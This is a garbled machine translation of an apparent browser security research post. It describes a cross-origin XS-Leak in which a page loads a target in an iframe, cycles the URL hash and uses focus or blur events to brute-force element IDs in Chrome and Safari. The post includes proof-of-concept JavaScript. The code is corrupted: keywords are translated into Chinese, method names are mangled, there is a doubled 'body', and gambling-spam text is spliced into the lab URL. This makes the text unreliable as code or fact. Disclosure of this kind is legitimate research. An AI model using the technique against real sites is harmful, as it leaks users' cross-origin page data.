发布:2019年10月8日在13:35 UTC
更新:2019年10月9日在07:01 UTC
当我正在建造XSS作弊地图我在Chrome和Safari中发现了一些有趣的行为。对于某些HTML元素,如果您在URL片段中指定其ID,它将滚动到该元素并发射焦点事件。可以使用iFrame触发跨域。我认为这可能会被滥用以创建一个XS-Leakbruteforce ids跨域。我可以一次加载目标域,然后多次修改Hash,并且由于Hash未发送到服务器,您只会发布一个请求,一旦找到有效的ID,焦点事件将触发。例如,假设我们想发现以下输入元素在网站上来自其他域中具有的ID。
<输入ID = 1337>
我们可以加载包含元素的URL,然后负载
事件射击我们可以更改哈希,如果焦点事件发射,我们找到了正确的ID,如果不增加值并再次检查。
这是概念证明的细分:
这窗口
事件用于检测目标元素是否具有焦点。
DIV元素用于显示当前的ID位置正在检查,因此您可以实时观察攻击。
当射击模糊事件时,发现的标志将设置为设置,表明我们有重点。
position_of_current_id = 1000;
找到= false;
我创建一个指向目标域的iframe,以及负载
事件称为我们调用TryNextID函数。
var iframe = document.createelement('iframe');
iframe.src ='http://subdomain1beplay官网可以赌.portswigger-labs.net/x-domain_leak_focus/test2.html';
document.body.body.appendchild(iframe);
iframe.onload = trynextid;
TryNextID函数显示当前位置,然后将哈希变为下一个潜在ID。如果找不到ID,则候选ID会增加并Settimeout
在50毫秒后被称为。
函数trynextid(){
如果(!找到){
document.getElementById('y')。textContent = position_of_current_id;
iframe.src ='http://subdomain1beplay官网可以赌.portswigger-labs.net/x- domain_leak_focus/test2.html#'+position_of_current_id;
timer = settimeout(function(){
if(!找到&& position_of_current_id <2000){
position_of_current_id ++;
}
trynextid();
},50);
}
}
这是在Chrome或Safari上起作用的概念证明。